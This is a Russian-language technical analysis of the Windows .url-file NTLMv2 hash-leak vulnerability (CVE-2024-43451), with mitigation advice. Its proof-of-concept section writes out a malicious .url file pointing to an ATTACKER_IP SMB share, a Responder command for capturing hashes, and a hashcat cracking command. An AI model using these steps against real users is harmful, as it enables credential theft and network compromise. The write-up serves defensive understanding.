
Уязвимость BDU:2024-09487: утечка NTLMv2-хешей через поддельные .url-файлы
Уязвимость BDU:2024-09487 (CVE-2024-43451, CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N) затрагивает все версии Microsoft Windows до обновления от ноября 2024 года. Она связана с некорректной обработкой внешних SMB-подключений при взаимодействии пользователя с вредоносным URL-файлом, что позволяет злоумышленнику провести атаку типа "pass-the-hash" или подобрать для получения исходного пароля. Уязвимость активно эксплуатировалась через фишинговые письма с вредоносными .url-файлами, ведущими к установке SparkRAT.
Технический разбор уязвимости
Контекст NTLMv2-аутентификации
NTLMv2 — улучшенная версия протокола NTLM, использующая HMAC-MD5 для генерации ответа на серверный challenge. Процесс аутентификации:
-
Клиент запрашивает доступ к ресурсу.
-
Сервер отправляет 16-байтовый случайный nonce (challenge).
-
Клиент вычисляет ответ, используя HMAC-MD5 на основе NT-хеша пароля, nonce сервера, временной метки и клиентского nonce.
-
Сервер проверяет ответ, повторяя вычисления с локальным NT-хешем.
Проблема: При взаимодействии с поддельными .url-файлами Windows автоматически инициирует SMB-подключение к удаленному серверу злоумышленника, передавая NTLMv2-ответ без явного согласия пользователя. Это происходит из-за некорректной обработки параметров файла в проводнике (например, при попытке отобразить иконку или проверить свойства).
Механизм эксплуатации
Этапы атаки
-
Подготовка вредоносного .url-файла:
-
Файл содержит ссылку на SMB-сервер злоумышленника.
-
Используется обманная иконка (например, из
shell32.dll
), чтобы вызвать доверие.
[InternetShortcut] URL=\\ATTACKER_IP\share IconIndex=32 IconFile=C:\Windows\System32\shell32.dll
Файл сохраняется как
filename.url
. -
-
Доставка через фишинг:
-
Жертве отправляется письмо с вложением или ссылкой на .url-файл.
-
-
Перехват NTLMv2-хеша:
-
При любом действии с файлом (правый клик, перемещение, удаление) Windows пытается получить метаданные, что запускает SMB-аутентификацию.
-
Сервер злоумышленника (например, Responder) перехватывает хеш.
-
-
Использование хеша:
-
Pass-the-Hash: Аутентификация на других системах с использованием хеша.
-
Брутфорс: Раскрытие пароля через инструменты вроде Hashcat.
-
Proof of Concept (PoC)
Настройка окружения
-
Сервер злоумышленника (Kali Linux):
-
Установка Responder и дальнейший запуск:
sudo python3 Responder.py -I eth0 -v
-
SMB-сервер должен быть запущен на порту 445.
-
-
Целевая система (Windows с обновлениями до ноября 2024 исключительно):
-
Открытие проводника и ввод
\\ATTACKER_IP
для проверки подключения.
-
Создание .url-файла
-
Использование кода по примеру выше, заменив
ATTACKER_IP
на реальный IP.
Перехват хеша
-
При взаимодействии жертвы с файлом в логах Responder появится NTLMv2-хеш:
[SMB] NTLMv2-SSP Hash: USER::DOMAIN:1122334455667788:AAAAABBBBB...:AAAABBBB...
Взлом хеша
hashcat -m 5600 hash.txt база_хэшей.txt
Риски и последствия
-
Pass-the-Hash: Доступ к сетевым ресурсам без знания пароля.
-
Полная компрометация: Установка RAT (например, SparkRAT) после получения доступа.
-
Боковое перемещение: Атака на другие узлы сети.
Методы защиты
-
Установка обновлений:
-
Установка последних обновлений Windows.
-
-
Отключение NTLM:
-
Переход на Kerberos.
-
-
Блокировка SMB-трафика:
-
Использование межсетевых экранов для запрета исходящих SMB-соединений.
-
-
SMB Signing:
-
Включение обязательной подписи SMB-пакетов.
-
-
Обучение пользователей:
-
Не открывать подозрительные .url-файлы и не взаимодействовать с ними.
-
